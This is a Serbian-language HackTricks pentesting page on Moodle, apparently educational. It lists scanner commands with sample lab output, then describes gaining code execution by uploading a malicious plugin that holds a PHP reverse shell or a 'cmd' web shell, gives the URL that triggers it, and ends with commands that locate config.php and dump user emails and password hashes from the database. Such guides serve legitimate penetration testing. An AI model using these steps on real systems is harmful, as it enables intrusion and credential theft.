hacktricks/network-services-pentesting/pentesting-web/moodle.md

6.3 KiB

Moodle

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Savet za bug bounty: registrujte se za Intigriti, premium platformu za bug bounty kreiranu od hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Automatsko skeniranje

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVE-ovi

Otkrio sam da su automatski alati prilično beskorisni u otkrivanju ranjivosti koje utiču na verziju moodle-a. Možete proveriti za njih na https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

Potrebno je da imate ulogu menadžera i da možete instalirati dodatke unutar kartice "Administracija sajta"**:**

Ako ste menadžer, možda ćete ipak morati aktivirati ovu opciju. Možete videti kako u moodle PoC za eskalaciju privilegija: https://github.com/HoangKien1020/CVE-2020-14321.

Zatim, možete instalirati sledeći dodatak koji sadrži klasičnu pentest-monkey php rev shell (pre otpremanja morate ga dekompresovati, promeniti IP i port revshella i ponovo kompresovati)

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

Ili možete koristiti dodatak sa https://github.com/HoangKien1020/Moodle_RCE da biste dobili redovan PHP shell sa parametrom "cmd".

Da biste pristupili pokretanju zlonamernog dodatka, morate pristupiti:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

Pronalaženje pristupnih podataka baze podataka

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

Izdvajanje pristupnih podataka iz baze podataka

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

Savet za bug bounty: Prijavite se za Intigriti, premium platformu za bug bounty kreiranu od strane hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Naučite AWS hakovanje od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: